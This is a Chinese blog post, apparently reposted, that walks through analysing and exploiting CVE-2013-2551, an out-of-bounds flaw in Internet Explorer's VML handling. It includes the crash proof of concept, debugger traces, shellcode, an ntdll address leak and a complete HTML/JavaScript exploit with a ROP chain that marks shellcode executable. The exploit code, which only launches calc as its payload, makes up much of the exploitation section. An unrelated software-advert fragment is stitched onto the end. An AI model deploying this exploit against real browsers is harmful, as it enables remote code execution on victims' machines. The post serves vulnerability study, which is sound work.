CVE-2013-2551

目录

  • 小白的CVE-2013-2551 分析 & 利用

    • 0xFF 前言
    • 0x00 环境和工具
    • 0x01 分析POC
      • POC
      • 调试
    • 0x02 利用
      • 构造R3任意内存读写
      • 劫持eip
      • 利用利用
    • 0x03 总结:
    • 0x04 参考

小白的CVE-2013-2551 分析 & 利用

0xFF 前言

小白第一次尝试来分析浏览器的漏洞,在此之前我不会html,javascript,css,总之跟网站有关的我都不会。然后我花了一天去看与之相关的东西。学习了下javascript的基本语法。总之浏览器的东西真的好复杂啊。分析和利用这个cve-2013-2551也算是开启了新世界的大门吧。大概的路线是:

了解html+javascript+css --> 了解ie相关 -->调试 -->利用。

感谢那些在网上分享知识的大佬,没有你们的文章,我想短时间内搞懂一些浏览器的东西,是根本不可能的。

具体大佬连接在最后。

本文章仅仅是一个小白,自娱自乐的分析cve-2013-2551这个漏洞的记录而已。大部分为抄写笔记,所以很多雷同,大佬见到勿喷。

我是以一个从来没有接触过浏览器漏洞分析利用,没有任何exp编写经验的视角写的这篇文章,所以会有点长,会非常细。

0x00 环境和工具

  • windows 7 cn_windows_7_ultimate_with_sp1_x86_dvd_u_677486.iso
  • Windbg
  • IDA

接下来的文章,就是在上面给出的这个windows 7 旗舰版下分析的,安装系统之后关闭了自动更新,然后使用windbg下载了相关符号文件。

ie版本:

ntdll (C:\Windows\System32\ntdll.dll)版本:

0x01 分析POC

POC

将下面代码复制到一个poc.html内。

<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
POC by VUPEN
</title>
<!-- Include the VML behavior -->
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>

<!-- Declare the VML namespace -->
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
var rect_array = new Array()
var a          = new Array()

function createRects(){
    for(var i=0; i<0x400; i++){
        rect_array[i]    = document.createElement("v:shape")
        rect_array[i].id = "rect" + i.toString()
        document.body.appendChild(rect_array[i])
    }
}

function crashme(){

    var vml1  = document.getElementById("vml1")
    var shape = document.getElementById("shape")

    for (var i=0; i<0x400; i++){                                       //set up the heap
      a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
    }

    for (var i=0; i<0x400; i++){
      a[i].rotation;                                                   //create a COARuntimeStyle
      if (i == 0x300) {                                                //allocate an ORG array of size B0h
           vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
      }
    }

    vml1.dashstyle.array.length      = 0 - 1
    shape.dashstyle.array.length     = 0 - 1

    for (var i=0; i<0x400; i++) {
       a[i].marginLeft   = "a";
       marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
       if (marginLeftAddress > 0) {
            try{
                shape.dashstyle.array.item(0x2E+0x16+i) = 0x4b5f5f4b;
            }
            catch(e) {continue}
       }
    }
}
</script>
<body onload="createRects();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
<v:oval>
<v:stroke dashstyle="2 2 2 0 2 2 2 0" id="shape"/>
</v:oval>
<input value="crash!!!"type="button" onclick="crashme();"></input>
</body>
</html>

调试

首先使用gflags给iexplorer.exe 开启PageHeap

开启之后就可以开始分析了!

1、打开这个poc.html。会弹出如下页面:

这个时候先不要点那个“为了有利于保护安全性,Inter ..... 选项”。

2、打开windbg,F6 出现以下对话框:

可以发现出现了两个iexplore.exe,那么我们应该选择哪个呢? 选第二个(第二个为子进程),记住要选第二个,不管前面那个数字大小,选第 二 个 就行了。

选了第二个,点击OK按钮,出现下图:

然后输入g命令,回车。

3、允许阻止的内容,然后点击crash!!!按钮。

发现windbg断下(可能没有断下,重新来一遍就行了)。

开始栈回溯,使用k命令:

可以看到是vgx模块出的错,那么下面把vgx.dll拿出来使用IDA分析。

使用lmvm 命令得到vgx.dll的路径:

4、开始分析vgx!ORG::Get函数。

下面我们来逆向调试一下。调用到ORG::Get()时它的三个参数,和memcpy的三个参数的值是啥,看看能不能找出什么线索。

重新打开poc.html使用windbg附加,然后使用bp vgx!ORG::Get() 下断点,然后g运行,点击crash!!!按钮。

可以发现断下,然后使用p单步运行3次(保证栈帧形成),然后查看参数如下图:

可以看到第三个参数是0x44。等等我们poc中的

marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);//0x2E+0x16=0x44

不就是0x44吗?难道和这儿有关?那我们将poc中的那个0x2E+0x16改为:

marginLeftAddress = vml1.dashstyle.array.item(0x66);

再来试试呢?下面是我试出来的:

还真是。那么继续看看memcpy的三个参数。

 memcpy(
      Dst,
      (const void *)(*((_DWORD *)this + 4) + index * (*((_DWORD *)this + 2) &   0xFFFF)),
      *((_DWORD *)this + 2) & 0xFFFF);

可以看到 第二个参数(源地址)和 第三个参数(拷贝长度) 都于this有关。这里的this是ORG对象的指针。在windbg中查看下this的各个成员的值:

其中那个0x1d976f50即 *((_DWORD *)this + 4) 是非常有趣的,它所指向内存的地址里面的东西居然是1 2 3 ...

那不就是poc.html中的:

vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"

那么可以猜测ORG::Get函数的功能就是获取vml1.dashstyle中的第几个元素的值。比如ORG::Get(this,&Dst,1),那么执行后Dst的值就是1了。

但是vml1.dashstyle中一共也就0x2C个元素啊。但是调试的时候却发现第三个参数index却为0x44。很明显访问越界了。而像这种对象,肯定是存在长度检测的,比如下面这种代码:

ORG::GetXXX(this,Dst,index)
{
    ...
    if(index < this->size)
    {
        ORG::Get(this,Dst,index);
    }
    ...
}

或者说ORG这个对象应该有个字段存储着当前的元素个数的。

来看看代码,一层一层向上栈回溯。慢慢找判断,一般来说就是向上一层。

向上一层调用的是:vgx!COALineDashStyleArray::get_item函数。很幸运,可以找到是否要调用ORG::Get的代码如下:

调试得到,totalnum的值居然是0xffff !!!也就是说:

而poc.html中存在如下语句:

 vml1.dashstyle.array.length     = 0 - 1
 shape.dashstyle.array.length    = 0 - 1

猜测这就是对长度进行设置的代码。

此时我们已经大概了解的这个漏洞的原理,但还是没有追溯到修改数组长度的根源。接下来我们将要试图找到修改length的具体代码。

5、下面的步骤是参看hpasserby大佬的文章中的方法分析 来寻找修改length的具体代码。

因为在c++在创建对象的时候,会将对象的虚表地址拷贝到对象的内存中,所以我们在代码中搜索对vgx!ORG::‘vftable‘的引用,试图找到创建vgx!ORG对象的代码。

IDA中,在汇编代码窗口使用快捷键(要在汇编窗口使用哦,要不然搜不到) : ALT + T ,然后输入ORG::`vftable‘ 进行搜索。

得到结果如下:

可以看到,除了虚表本身以及两个ORG对象的成员函数外,只剩一个函数:

signed int __stdcall MsoFCreateArray(__int16 a1, _DWORD *a2)

先把那个“为了有利于安全性”点了之后,再在windbg中对其下断点,g之后,再点crash!!!:

0:015> bp vgx!MsoFCreateArray
0:015> g
Breakpoint 0 hit
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=047495c8
eip=6e86d1df esp=04749534 ebp=04749548 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vgx!MsoFCreateArray:
6e86d1df 8bff            mov     edi,edi
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=047495c8
eip=6e86d1e1 esp=04749534 ebp=04749548 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vgx!MsoFCreateArray+0x2:
6e86d1e1 55              push    ebp
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=047495c8
eip=6e86d1e2 esp=04749530 ebp=04749548 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vgx!MsoFCreateArray+0x3:
6e86d1e2 8bec            mov     ebp,esp
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=047495c8
eip=6e86d1e4 esp=04749530 ebp=04749530 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vgx!MsoFCreateArray+0x5:
6e86d1e4 56              push    esi
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=047495c8
eip=6e86d1e5 esp=0474952c ebp=04749530 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vgx!MsoFCreateArray+0x6:
6e86d1e5 57              push    edi
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=047495c8
eip=6e86d1e6 esp=04749528 ebp=04749530 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vgx!MsoFCreateArray+0x7:
6e86d1e6 bf01010000      mov     edi,101h
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=00000101
eip=6e86d1eb esp=04749528 ebp=04749530 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vgx!MsoFCreateArray+0xc:
6e86d1eb 57              push    edi
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=00000101
eip=6e86d1ec esp=04749524 ebp=04749530 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vgx!MsoFCreateArray+0xd:
6e86d1ec 6a14            push    14h
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=00000101
eip=6e86d1ee esp=04749520 ebp=04749530 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vgx!MsoFCreateArray+0xf:
6e86d1ee e88a67fdff      call    vgx!operator new (6e84397d)
0:005> p
eax=1e468fe8 ebx=047495c8 ecx=00000014 edx=00000000 esi=047495cc edi=00000101
eip=6e86d1f3 esp=04749520 ebp=04749530 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
vgx!MsoFCreateArray+0x14:
6e86d1f3 59              pop     ecx

//eax=1e468fe8就是对象的地址

可以发现这里创建了一个vgx!ORG对象,我们对它的length所在地址下内存断点,来观察其值的变化。这里我就使用条件断点。

0:005> ba w2 1e468fe8+4 ".if (low(poi(1e468fe8+4))=0xffff) {dd 1e468fe8 l8} .else {gc}"
0:005> g
1e468fe8  6e857258 002cffff 00040004 00000101
1e468ff8  1d9d4f50 d0d0d0d0 ???????? ????????
eax=0000002c ebx=0000002d ecx=1d9d4f4c edx=0000002c esi=1e468fec edi=00000004
eip=6e8ac3c6 esp=047499c0 ebp=047499cc iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
vgx!MsoFRemovePx+0xaa:
6e8ac3c6 5f              pop     edi
0:005> k
ChildEBP RetAddr
047499cc 6e8ac7c6 vgx!MsoFRemovePx+0xaa
047499e4 6e86cf79 vgx!MsoDeletePx+0x15
047499f8 6e8bdbac vgx!ORG::DeleteRange+0x17
04749a24 77a93e75 vgx!COALineDashStyleArray::put_length+0xd7
04749a40 77a93cef OLEAUT32!DispCallFunc+0x165
04749ad0 6e8a47c1 OLEAUT32!CTypeInfo2::Invoke+0x23f
04749c5c 6e8c4a88 vgx!COADispatch::Invoke+0x89
...

看栈回溯,可以看到一个名为vgx!COALineDashStyleArray::put_length的函数,put_Length!!!,猜测就是这个函数设置的长度。那么就从这个函数开始IDA F5。

6、F5 COALineDashStyleArray::put_length得到下图:

比较处的汇编代码:

esi为-1,原始的oldLength为大于等于0的值,所以条件满足,跳转执行ORG::DeleteRange函数。(这里正常的逻辑是,如果newLength>oldLength,则不跳转,new一个空间;如果newLength<oldLength则调用ORG::DeleteRange删除之前的,进行截断。)

接着跳进ORG::DeleteRange函数,进行F5:

继续跟进MsoDeletePx函数,进行F5:

继续跟进MsoFRemovePx函数,进行F5:

汇编代码:

至此,分析完毕。

现在让我们回首一下:

调用

vml1.dashstyle.array.item(1)

我们可以读取到

 vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"

中的1。

通过

vml1.dashstyle.array.item(1)=6

我们可以将1改为6。

而通过漏洞我们可以将其长度扩展到0xffff

所以现在我们拥有了一个跨界的读和写。

那么假如我们通过合理的布局,将一个对象布置在 vml1.dashstyle的值所指内存的后面,那么我们就可以实现读写其对象成员的值(虚表之类的)。

0x02 利用

首先还是先把gflags给关了。

构造R3任意内存读写

注意我使用的ie版本,和ntdll的版本!要不然利用会完全不一样。

具体原理可以去看后面的参考文章

首先让我们来看一个简化版的利用exp1.html

<html lang="zh">
    <head>
        <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
    </head>
    <title>cve-2013-2551 win7 sp1 IE8.0</title>
    <style>v\: * { behavior:url(#default#VML); display:inline-block }</style>

    <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />

    <body>
        <v:oval>
            <v:stroke id="vml1"/>
        </v:oval>
    </body>

    <script>
        var rect_array = new Array();
        var a = new Array();

        function createRects(){
            for(var i=0; i<0x400; i++){
                rect_array[i] = document.createElement("v:shape");
                rect_array[i].id = "rect" + i.toString();
                document.body.appendChild(rect_array[i]);
            }
        }

        function leak(){
            var vml1  = document.getElementById("vml1");

            for (var i = 0; i < 0x400; i++){
                a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
            }

            for (var i = 0; i < 0x400; i++){
                a[i].rotation;
                if (i == 0x300) {
                vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
                }
            }
            vml1.dashstyle.array.length = 0 - 1;   

            for (var i = 0; i < 0x400; i++){
                marginLeftAddress_orgin = vml1.dashstyle.array.item(0x2E+0x16);
                a[i].marginLeft = 'a'
                marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E+0x16);
                if (marginLeftAddress_orgin != marginLeftAddress_modify) {
                    var leak = a[i].marginLeft;
                    alert("0x"+marginLeftAddress_modify.toString(16));
                    break;
                }
            }
        }
        createRects();
        leak();
    </script>
</html>

打开这个exp1.html,然后就会弹出一个提示框,这个时候不要关闭这个提示框,而是使用windbg附加iexploer进程,然后dd 这个提示框的地址。得如下图:

额,这个0x61不就是字符‘a‘吗?

再看看exp1.html中的代码:

 a[i].marginLeft = 'a';
 marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E+0x16);

a[]数组是_vgRuntimeStyle对象。而a[i].marginLeft的值是‘a‘,难道vml1.dashstyle.array.item(0x2E+0x16)读到的是_vgRuntimeStyle.marginLeft的地址?我们来验证一下:

由于这个时候我并不知道dashstyle的值的地址,所以只好使用暴力搜索的方法来搜索了。

果然如此,vml1.dashstyle.array.item(0x2E+0x16)读到的就是_vgRuntimeStyle.marginLeft的地址。

那么我们就可以通过vml1.dashstyle.array.item(0x2E+0x16)读写_vgRuntimeStyle.marginLeft的地址。使用

_vgRuntimeStyle.marginLeft=就可以实现任意R3空间的内存读写了。

给一张图加深理解:

劫持eip

更详细的请参看后面的参考文章

exp2.html

<html lang="zh">
    <head>
        <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
    </head>
    <title>cve-2013-2551 win7 sp1 IE8.0</title>
    <style>v\: * { behavior:url(#default#VML); display:inline-block }</style>

    <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />

    <body>
        <v:oval>
            <v:stroke id="vml1"/>
        </v:oval>
    </body>

    <script>
        var rect_array = new Array();
        var a = new Array();

        function createRects(){
            for(var i=0; i<0x400; i++){
                rect_array[i] = document.createElement("v:shape");
                rect_array[i].id = "rect" + i.toString();
                document.body.appendChild(rect_array[i]);
            }
        }

        function leak(){
            var vml1  = document.getElementById("vml1");

            for (var i = 0; i < 0x400; i++){
                a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
            }

            for (var i = 0; i < 0x400; i++){
                a[i].rotation;
                if (i == 0x300) {
                vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
                }
            }
            vml1.dashstyle.array.length = 0 - 1;   

            for (var i = 0; i < 0x400; i++){
                marginLeftAddress_orgin = vml1.dashstyle.array.item(0x2E+0x16);
                a[i].marginLeft = 'a'
                marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E+0x16);
                if (marginLeftAddress_orgin != marginLeftAddress_modify) {
                    var leak = a[i].marginLeft;
                    break;
                }
            }
        }
        function exploit(){
            var vml1  = document.getElementById("vml1")
            for(var i = 0; i < 0x400; i++){
                a[i] = document.getElementById("rect" + i.toString())._anchorRect;
                if (i == 0x300){
                    vml1.dashstyle = "1 2 3 4";
                }
            }
            vml1.dashstyle.array.length = 0 - 1; 

            vml1.dashstyle.array.item(6) = 0; //覆盖到虚表

            for (var i=0; i<0x400; i++)
            {
                delete a[i];
                CollectGarbage();
            }
            alert("done");
        }

        createRects();
        leak();
        exploit();
    </script>
</html>

打开这个exp2.html,运行后,不要先点那个“为了有利于保护安全性”,而是先使用windbg附加ie后再点。之后会断下来。

真正call 的是 dword ptr [ecx+8] 。而我们可以控制vml1.dashstyle.array.item(6) 的值来控制ecx值。

利用利用

ok,下面开始总结下利用思路:我就想弹个计算器就行了,下面是一段简易的弹计算器shellcode。我们需要将它转换成html中的形式。具体需要使用到两个js函数。escape和unescape。

首先将 shellcode转换成word输出。(我这儿用的c语言)

#include<stdio.h>
#include<Windows.h>

_declspec(naked) void func()
{
    _asm
    {
        mov eax, fs:[0x30];// peb
        mov ebx, [eax + 0xc]; //peb->Ldr
        mov esi, [ebx + 0x14];//peb->Ldr.Inmemorder
        lodsd;//eax="ntdll.dll"
        xchg eax, esi;
        lodsd;//eax="kernel32.dll"
        mov ebx, [eax + 0x10]; //ebx = base address

        mov edx, [ebx + 0x3c]; //DOS->e_ifanew
        add edx, ebx; // PE header
        mov edx, [edx + 0x78];// edx = offset of EAT
        add edx, ebx;// EAT

        mov esi, [edx + 0x20]; //Address of Names(RVA)
        add esi, ebx;//Name Table
        xor ecx, ecx;//index=0

    Find_index:
        inc ecx;
        lodsd;//mov eax,[esi] RVA
        add eax, ebx;
        cmp dword ptr[eax], 0x50746547;//PteG
        jnz Find_index;
        cmp dword ptr[eax + 0x4], 0x41636f72;//Acor
        jnz Find_index;
        cmp dword ptr[eax + 0x8], 0x65726464; //erdd
        jnz Find_index;
        //get!
        mov esi, [edx + 0x24];//AddressOfNameOrdinals RVA
        add esi, ebx;//Ord Table
        mov cx, [esi + ecx * 2];//cx = realindex

        mov esi, [edx + 0x1c];//AddressOfFunction RVA
        add esi, ebx;//
        dec ecx;// indx-1
        mov edx, [esi + ecx * 4];
        add edx, ebx;//GetProcAddress real address

        push 0x00636578;//xec
        push 0x456E6957;//WinE
        push esp;
        push ebx;
        call edx;

        push 0;
        push 0x636c6163;//calc
        mov edi, esp;
        push 0;
        push edi;
        call eax;
        ret
    }

}

int main()
{
    WORD data;
    for (int i = 0; i <= 0x71/2; i++)
    {
        data = *((WORD*)func+i);
        printf("\\u%04x", data);
    }
    return 0;
}

运行得:

使用js:

<script type="text/javascript">

shell = "\ua164\u0030\u0000\u588b\u8b0c\u1473\u96ad\u8bad\u1058\u538b\u033c\u8bd3\u7852\ud303\u728b\u0320\u33f3\u41c9\u03ad\u81c3\u4738\u7465\u7550\u81f4\u0478\u6f72\u4163\ueb75\u7881\u6408\u7264\u7565\u8be2\u2472\uf303\u8b66\u4e0c\u728b\u031c\u49f3\u148b\u038e\u68d3\u6578\u0063\u5768\u6e69\u5445\uff53\u6ad2\u6800\u6163\u636c\ufc8b\u006a\uff57\uc3d0"
shell = escape(shell)
document.write(shell)

</script>

运行得到shellcode:

这个shellcode是有坑的,不是指这个shellcode运行不起来,而是... 待会儿会说。

%uA1640%00%u588B%u8B0C%u1473%u96AD%u8BAD%u1058%u538B%u033C%u8BD3%u7852%uD303%u728B%u0320%u33F3%u41C9%u03AD%u81C3%u4738%u7465%u7550%u81F4%u0478%u6F72%u4163%uEB75%u7881%u6408%u7264%u7565%u8BE2%u2472%uF303%u8B66%u4E0C%u728B%u031C%u49F3%u148B%u038E%u68D3%u6578c%u5768%u6E69%u5445%uFF53%u6AD2%u6800%u6163%u636C%uFC8Bj%uFF57%uC3D0

还记得exp1.html中的:

a[i].marginLeft = 'a'

吗?我们可以这样做:

a[i].marginLeft = unescape("%uA1640%00%u588B%u8B0C%u1473%u96AD%u8BAD%u1058%u538B%u033C%u8BD3%u7852%uD303%u728B%u0320%u33F3%u41C9%u03AD%u81C3%u4738%u7465%u7550%u81F4%u0478%u6F72%u4163%uEB75%u7881%u6408%u7264%u7565%u8BE2%u2472%uF303%u8B66%u4E0C%u728B%u031C%u49F3%u148B%u038E%u68D3%u6578c%u5768%u6E69%u5445%uFF53%u6AD2%u6800%u6163%u636C%uFC8Bj%uFF57%uC3D0")

调试一下,看看是否写入shellcode。

出乎意料,只写入了\ua164\u0030\u0000。

原来是以\u0000就停止写入了。而mov eax, fs:[0x30];在句汇编恰好就是64 a1 30 00 00 00。

那怎么办呢?网上的老哥是用的

xor ecx, ecx
mov eax, dword ptr fs : [ecx + 30h]

来解决的,将mov eax, fs:[0x30]替换成上面那两句后,按照上面的步骤可以得到如下shellcode

%uC933%u8B64%u3041%u588B%u8B0C%u1473%u96AD%u8BAD%u1058%u538B%u033C%u8BD3%u7852%uD303%u728B%u0320%u33F3%u41C9%u03AD%u81C3%u4738%u7465%u7550%u81F4%u0478%u6F72%u4163%uEB75%u7881%u6408%u7264%u7565%u8BE2%u2472%uF303%u8B66%u4E0C%u728B%u031C%u49F3%u148B%u038E%u68D3%u6578c%u5768%u6E69%u5445%uFF53%u6AD2%u6800%u6163%u636C%uFC8Bj%uFF57%uC3D0

这下再来调试试试呢?

写入成功!!!

而a[i].marginLeft的地址我们可以通过vml1.dashstyle.array.item(0x2E+0x16)得到。好的,那么现在我们已经得到了shellcode的地址了。下面需要做的就是写rop链,将这段内存改为可执行属性。

首先我们需要泄露ntdll的地址。

试试u SharedUserData!SystemCallStub。这是个固定的地址0x7ffe0300,用来实现快速系统调用。可以使用它来泄露ntdll的基址。(大佬想出的方法,小白只能膜拜)

所以使用任意内存读写,可以得到ntdll的基址。

先获取0x7ffe0300处的值 ,然后用这个值减去0x470b0即可得到ntdll的基址。

下面就可以构造rop了。

首先是做stack pivot。参考的是大佬的来做的。具体可以参见下面的完整exp。

完整exp。

<html lang="zh">
    <head>
        <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
    </head>
    <title>cve-2013-2551 win7 sp1 IE8.0</title>
    <style>v\: * { behavior:url(#default#VML); display:inline-block }</style>

    <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />

    <body>
        <v:oval>
            <v:stroke id="vml1"/>
        </v:oval>
    </body>

    <script>
        var rect_array = new Array();
        var a = new Array();

        var rop_addr;
        var ntdllbase;
        var shellcodeaddr;

        function createRects(){
            for(var i=0; i<0x400; i++){
                rect_array[i] = document.createElement("v:shape");
                rect_array[i].id = "rect" + i.toString();
                document.body.appendChild(rect_array[i]);
            }
        }

        function leak(){
            var vml1  = document.getElementById("vml1");

            for (var i = 0; i < 0x400; i++){
                a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
            }

            for (var i = 0; i < 0x400; i++){
                a[i].rotation;
                if (i == 0x300) {
                vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
                }
            }

            var length_orig = vml1.dashstyle.array.length;//44
            vml1.dashstyle.array.length = 0 - 1;   

            for (var i = 0; i < 0x400; i++){
                marginLeftAddress_orgin = vml1.dashstyle.array.item(0x2E+0x16);
                a[i].marginLeft = unescape("%uC933%u8B64%u3041%u588B%u8B0C%u1473%u96AD%u8BAD%u1058%u538B%u033C%u8BD3%u7852%uD303%u728B%u0320%u33F3%u41C9%u03AD%u81C3%u4738%u7465%u7550%u81F4%u0478%u6F72%u4163%uEB75%u7881%u6408%u7264%u7565%u8BE2%u2472%uF303%u8B66%u4E0C%u728B%u031C%u49F3%u148B%u038E%u68D3%u6578c%u5768%u6E69%u5445%uFF53%u6AD2%u6800%u6163%u636C%uFC8Bj%uFF57%uC3D0");
                marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E+0x16);
                if (marginLeftAddress_orgin != marginLeftAddress_modify) {
                    vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
                    var leak = a[i].marginLeft;
                    vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress_orgin;
                    var shelladdr = marginLeftAddress_modify;
                    ntdllbase = parseInt(leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16) - 0x470B0;
                    shellcodeaddr = shelladdr;
                    var rop_chain = tab2uni(get_ropchain(shelladdr));
                    a[i].marginLeft = rop_chain;
                    rop_addr = vml1.dashstyle.array.item(0x2E+0x16);

                    vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress_orgin;
                    vml1.dashstyle.array.length = length_orig;      

                    break;
                }
            }
        }

        function get_ropchain(shelladdr){
            var arr = [
                ntdllbase + Number(0x1) ,
                ntdllbase + Number(0x1) ,
                ntdllbase + Number(0x47733),        //# XCHG EAX,ESP # POP ESI # POP EDI # LEA EAX,DWORD PTR DS:[EDX-1] # POP EBX # RETN
                0x200,// NtProtectVirtualMemory的第三个参数所指的值
                ];
            return arr;
        }

        function d2u(dword) {
            var uni = String.fromCharCode(dword & 0xFFFF);
            uni += String.fromCharCode(dword>>16);
            return uni;
        }

        function tab2uni(tab) {
            var uni = ""
            for(var i=0;i<tab.length;i++) {
                uni += d2u(tab[i]);
            }
            return uni;
        }

        function exploit(){
            var vml1  = document.getElementById("vml1")

            for(var i = 0; i < 0x400; i++){
                a[i] = document.getElementById("rect" + i.toString())._anchorRect;
                if (i == 0x300){
                    vml1.dashstyle = "1 2 3 4";
                }
            }

            var length_orig = vml1.dashstyle.array.length;
            vml1.dashstyle.array.length = 0 - 1; 

            vml1.dashstyle.array.item(6) = rop_addr; //覆盖到虚表

            vml1.dashstyle.array.item( 9) = ntdllbase+Number(0x47643);  //pop edi # ret
            vml1.dashstyle.array.item(10) = ntdllbase+Number(0x45f18);  //NtProtectVirtualMemory
            vml1.dashstyle.array.item(11) = ntdllbase+Number(0xc71ef);  //pop esi # ret
            vml1.dashstyle.array.item(12) = shellcodeaddr;
            vml1.dashstyle.array.item(13) = ntdllbase+Number(0xcb72a);  //pop ebp # ret
            vml1.dashstyle.array.item(14) = 0-1;                        // -1
            vml1.dashstyle.array.item(15) = ntdllbase+Number(0x348b9);  //pop ebx # ret
            vml1.dashstyle.array.item(16) = rop_addr+12;                //ptr RegionSize
            vml1.dashstyle.array.item(17) = ntdllbase+Number(0x9a30c);  //pop eax # ret
            vml1.dashstyle.array.item(18) = 0-96601473;
            vml1.dashstyle.array.item(19) = ntdllbase+Number(0x3ab39);  //add eax,5C205C1h # ret
            vml1.dashstyle.array.item(20) = ntdllbase+Number(0x36d70);  //xchg eax,edx # ret
            vml1.dashstyle.array.item(21) = ntdllbase+Number(0xcd241);  //pop ecx # ret
            vml1.dashstyle.array.item(22) = rop_addr;                   //ptr to OldAccessProtection
            vml1.dashstyle.array.item(23) = ntdllbase+Number(0x227c4);  //pushad # ret
            vml1.dashstyle.array.item(24) = shellcodeaddr;
            vml1.dashstyle.array.item(25) = Number(0x10400);
            vml1.dashstyle.array.item(26) = shellcodeaddr;
            for (var i=0; i<0x400; i++)
            {
                delete a[i];
                CollectGarbage();
            }
            alert("done");
        }

        createRects();
        leak();
        exploit();
    </script>
</html>

0x03 总结:

浏览器很难,很难。ROP很需要技巧和脑洞,利用很需要积累和脑洞。我多总结,多想。

强烈安利0x9A82,hpasserby的文章。感觉可以学到好多。

0x04 参考

都是一些大佬的文章:

https://www.cnblogs.com/Danny-Wei/p/3766432.html ROP 参考

https://hpasserby.me/post/ef2727d8.html 非常详细的文章,本文大部分都是抄的这位大佬的。(要翻wall)

https://www.cnblogs.com/Ox9A82/p/5782425.html 巨佬的文章,非常值得学习,他看雪论坛里面也有非常多的文章,还有浏览器的教程。

原文地址:https://www.cnblogs.com/amaza/p/10793691.html

时间: 2024-10-11 18:59:16

CVE-2013-2551的相关文章

ESI PAM-FORM 2G 2013.0 Win32_64-ISO 1CD工业软件

ESI PAM-FORM 2G 2013.0 Win32_64-ISO 1CD工业软件PAM-FORM是一个专用的工业软件,能够进行非金属材料精确的虚拟成型模拟.PAM-FORM是与工业界伙伴和诸如汽车.航天和消费品等领域项 目合作开发而来.虚拟制造过程包括叠层复合材料,塑料片材,织物,汽车地毯等的成型. PAM-FORM模拟整个成型过程,包括选择最合适的材料,最恰当的设计工具和最佳过程参数.作为这个领域唯一的软件,很多著名工业公 司都利用PAM-FORM诉诸于模拟来优化他们的制造过程.ESI集

